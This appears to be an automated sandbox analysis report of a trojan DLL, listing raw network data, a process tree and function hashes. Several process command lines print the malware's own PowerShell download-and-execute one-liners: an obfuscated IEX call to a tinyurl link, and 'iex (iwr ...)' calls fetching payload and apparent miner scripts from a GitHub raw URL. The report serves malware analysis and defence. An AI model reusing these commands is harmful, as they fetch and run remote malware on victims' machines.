2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 32 32 31 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 30 2c 30 2c 34 32 2c 30 2c 30 2c 30 2c 31 2c 31 36 2c 30 2c 30 2c 30 2c 30 2c 36 38 2c 30 2c 38 35 2c 31 35 33 2c 30 2c 31 35 2c 36 38 2c 30 2c 30 2c 31 2c 32 37 2c 34 38 2c 34 2c 30 2c 37 30 2c 31 2c 30 2c 30 2c 31 34 2c 30 2c 30 2c 31 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 35 36 2c 34 39 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 31 30 2c 30 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 34 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 2c 35 37 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 35 36 2c Data Ascii: 221,0,0,0,0,254,12,0,0,42,0,0,0,1,16,0,0,0,0,68,0,85,153,0,15,68,0,0,1,27,48,4,0,70,1,0,0,14,0,0,17,32,0,0,0,0,254,14,4,0,56,49,0,0,0,0,254,12,4,0,32,0,0,0,0,254,1,57,10,0,0,0,0,32,1,0,0,0,254,14,4,0,0,254,12,4,0,32,1,0,0,0,254,1,57,5,0,0,0,56,5,0,0,0,56,
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 30 2c 31 34 32 2c 31 30 35 2c 34 30 2c 31 36 34 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 32 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 32 30 2c 32 35 34 2c 31 34 2c 34 2c 30 2c 31 31 34 2c 35 30 2c 36 2c 30 2c 31 31 32 2c 32 35 34 2c 31 34 2c 35 2c 30 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 33 37 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 33 32 2c 34 2c 30 2c 30 2c 30 2c 31 34 30 2c 31 30 35 2c 30 2c 30 2c 31 2c 31 36 32 2c 32 35 34 2c 31 34 Data Ascii: ,0,142,105,40,164,0,0,10,254,14,2,0,254,12,1,0,254,14,3,0,20,254,14,4,0,114,50,6,0,112,254,14,5,0,32,3,0,0,0,141,1,0,0,1,37,32,0,0,0,0,254,12,2,0,40,70,0,0,10,162,37,32,1,0,0,0,32,0,0,0,0,140,105,0,0,1,162,37,32,2,0,0,0,32,4,0,0,0,140,105,0,0,1,162,254,14
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 35 2c 30 2c 32 30 2c 31 31 34 2c 37 37 2c 31 32 2c 30 2c 31 31 32 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 33 37 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 32 2c 30 2c 30 2c 30 2c 31 35 34 2c 31 36 32 2c 33 37 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 32 36 2c 34 38 2c 30 2c 30 2c 34 2c 33 32 2c 33 2c 30 2c 30 2c 30 2c 31 35 34 2c 34 30 2c 35 32 2c 30 2c 30 2c 31 30 2c 34 30 2c 35 36 2c 30 2c 30 2c 36 2c 31 36 32 2c 31 36 32 2c 32 30 2c 32 30 2c 32 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 34 30 2c 31 31 37 2c 30 2c 30 2c 31 30 2c 33 38 2c 32 32 31 2c 35 35 2c 33 2c 30 2c 30 2c Data Ascii: ,5,0,20,114,77,12,0,112,32,2,0,0,0,141,1,0,0,1,37,32,1,0,0,0,32,2,0,0,0,141,1,0,0,1,37,32,0,0,0,0,126,48,0,0,4,32,2,0,0,0,154,162,37,32,1,0,0,0,126,48,0,0,4,32,3,0,0,0,154,40,52,0,0,10,40,56,0,0,6,162,162,20,20,20,32,1,0,0,0,40,117,0,0,10,38,221,55,3,0,0,
2024-09-16 17:24:31 UTC	16384	IN	Data Raw: 2c 30 2c 32 35 34 2c 31 32 2c 31 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 32 34 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 32 2c 30 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 38 2c 31 30 2c 30 2c 30 2c 30 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 35 36 2c 35 2c 30 2c 30 2c 30 2c 33 32 2c 31 2c 30 2c 30 2c 30 2c 31 34 30 2c 37 38 2c 30 2c 30 2c 31 2c 34 30 2c 32 31 2c 31 2c 30 2c 31 30 2c 35 37 2c 34 32 2c 30 2c 30 2c 30 2c 32 35 34 2c 31 32 2c 33 2c 30 2c 32 30 2c 31 31 34 2c 31 32 2c 31 35 2c 30 2c 31 31 32 2c 33 32 2c 30 2c 30 2c 30 2c 30 2c 31 34 31 2c 31 2c 30 2c 30 2c 31 2c 32 30 2c 32 30 2c 32 30 2c 34 30 2c 31 36 35 2c 30 2c 30 2c 31 30 2c 34 30 2c 37 30 2c 30 2c 30 2c 31 30 2c 32 35 34 2c 31 34 2c 33 2c 30 2c 35 36 2c 33 37 2c 30 2c 30 Data Ascii: ,0,254,12,1,0,40,21,1,0,10,58,24,0,0,0,254,12,2,0,40,21,1,0,10,58,10,0,0,0,32,0,0,0,0,56,5,0,0,0,32,1,0,0,0,140,78,0,0,1,40,21,1,0,10,57,42,0,0,0,254,12,3,0,20,114,12,15,0,112,32,0,0,0,0,141,1,0,0,1,20,20,20,40,165,0,0,10,40,70,0,0,10,254,14,3,0,56,37,0,0

Target ID:	0
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll"
Imagebase:	0x7ff6d0630000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Imagebase:	0x7ff7b1aa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32.exe /s C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll
Imagebase:	0x7ff71c9d0000
File size:	25'088 bytes
MD5 hash:	B0C2FA35D14A9FAD919E99D9D75E1B9E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll",#1
Imagebase:	0x7ff653360000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll,DllRegisterServer
Imagebase:	0x7ff653360000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: powershell.exePID: 3996, Parent PID: 3252

General

Target ID:	8
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Analysis Process: conhost.exePID: 6500, Parent PID: 5980

General

Target ID:	9
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	13:24:05
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	13:24:08
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -windowstyle h -command sal callit ('iE'+'x'); sal $env:os iWr; calliT(WINDOWS_NT('ti' + 'n' + 'yu' + 'rl.c' + 'om/yeyk' + 'ydun') -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7660, Parent PID: 2668

General

Target ID:	15
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7676, Parent PID: 7668

General

Target ID:	17
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	19
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7700, Parent PID: 5980

General

Target ID:	20
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_pyld.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: powershell.exePID: 7708, Parent PID: 6976

General

Target ID:	21
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: conhost.exePID: 7740, Parent PID: 7700

General

Target ID:	23
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	24
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	25
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: powershell.exePID: 7780, Parent PID: 5980

General

Target ID:	27
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex (iwr raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt -usebasicparsing)
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Analysis Process: conhost.exePID: 7788, Parent PID: 7728

General

Target ID:	28
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	30
Start time:	13:24:26
Start date:	16/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FF848E888F6 Relevance: .5, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3167694348.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce93c0426710cd5204e44306283eb7a766c9d98ff67a17961b396124baba77ae
Instruction ID: 2c8b26c05c9afac9a2677d65b06ac6834c3aca1d46b23b3bf3595222f8fcf989
Opcode Fuzzy Hash: ce93c0426710cd5204e44306283eb7a766c9d98ff67a17961b396124baba77ae
Instruction Fuzzy Hash: F4F1B53091CA8E8FEBA8EF28C8557E937D1FF54350F44426EE84DC7295DB34A9458B82

Function 00007FF848E896A2 Relevance: .5, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000006.00000002.3167694348.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d5b8fef14816f7c87562ba6a234b365055420ffadc0171d771ae0955a309457
Instruction ID: a7a31428a500b6770ee281de70b79518bc1a60c1c560bf16f7fe42bbf647cdf3
Opcode Fuzzy Hash: 8d5b8fef14816f7c87562ba6a234b365055420ffadc0171d771ae0955a309457
Instruction Fuzzy Hash: 35E1C33090CA8E8FEBA9EF28C8557E977D1FF54350F44426ED84DC7295DB78A8418B81

Function 00007FF848E93FC4 Relevance: 1.6, APIs: 1, Instructions: 117
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF848E9406E

Memory Dump Source

Source File: 00000006.00000002.3167694348.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4b2290ddb9b73ab7506d55fe0c170d3dc4bd3562615220f931f206db3cae69e0
Instruction ID: b69e80430e388621fb5b82274248a6993a14ae0920719b090db059ec0cfbbf52
Opcode Fuzzy Hash: 4b2290ddb9b73ab7506d55fe0c170d3dc4bd3562615220f931f206db3cae69e0
Instruction Fuzzy Hash: 2031D23190CA4C8FDB59DBA8D849AE9BBE0FB66321F04426BD009C3291DB75A805CB91

Function 00007FF848E939DA Relevance: 1.6, APIs: 1, Instructions: 99
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF848E9406E

Memory Dump Source

Source File: 00000006.00000002.3167694348.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: d4932d9da7bc9ec7f417167d2d0852e1e80aad3548eddf12d226bda464cba89e
Instruction ID: ec128f4bcaa6eccddec75d8cec966e8f3dec07a39a1d256ddc849f98f6094121
Opcode Fuzzy Hash: d4932d9da7bc9ec7f417167d2d0852e1e80aad3548eddf12d226bda464cba89e
Instruction Fuzzy Hash: E821807190CA1C9FDB58EF9CD849BE9BBE0FB69321F00822ED009D3651DB71A8458B91

Non-executed Functions

Function 00007FF848E883F9 Relevance: .4, Instructions: 410COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3167694348.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5cb417ab2c7272c4333f0c63cd61f8c145fbfe0ddc1aeafc03c77f643edc164
Instruction ID: ca76462f0895ff91a586b3be1ee347c3c4b3a66439d4ba4f4ec861fabd9c4f2b
Opcode Fuzzy Hash: b5cb417ab2c7272c4333f0c63cd61f8c145fbfe0ddc1aeafc03c77f643edc164
Instruction Fuzzy Hash: CCD1C53091CA8D8FEBA8EF28C8557E977D1FF54350F44426EE85DC7291CB74A9418B82

Function 00007FF848E951FA Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3167694348.00007FF848E80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff848e80000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d939929f1ac8278cbe6b52b17f475c856e88774a4951dedd3a02e49ea97dcc75
Instruction ID: e1eb9326e4c954d0b1f60be7d7ad9b03967c10b2d948a9065682c9285ed0654f
Opcode Fuzzy Hash: d939929f1ac8278cbe6b52b17f475c856e88774a4951dedd3a02e49ea97dcc75
Instruction Fuzzy Hash: 253178A768ED692EA70D767DF8481F9A740FFC1279B08A337D28CC90534914148786E8

Analysis Process: powershell.exePID: 7660, Parent PID: 2668COMMON

Executed Functions

Function 00007FF848F428C5 Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3197089924.00007FF848F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848f40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84b7a0ac6cee45ae0ab53ee1732ff409ec9d42df812345997485d0f9af2fb209
Instruction ID: 19d80e961ab3cdfe87ae66470853d1aef14a0089a9ea8b8942dc2ce4d7356c10
Opcode Fuzzy Hash: 84b7a0ac6cee45ae0ab53ee1732ff409ec9d42df812345997485d0f9af2fb209
Instruction Fuzzy Hash: 79D16631D1EA8A4FE7A5ABA858155B57BE0FF26B90F0801FBD00DD71D3DB28A805C355

Function 00007FF848E733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3183584801.00007FF848E70000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff848e70000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction ID: 24ef75c526cb65825109a4e7586d62867e1718cfd4eae63a3c90891dd0916743
Opcode Fuzzy Hash: 08da065673a25bdeb927b4c2f952ba14616e05d90be0e25124618a69153761d0
Instruction Fuzzy Hash: CF01677111CB0D4FDB44EF0CE451AA6B7E0FB95364F50056DE58AC3691DB36E882CB45

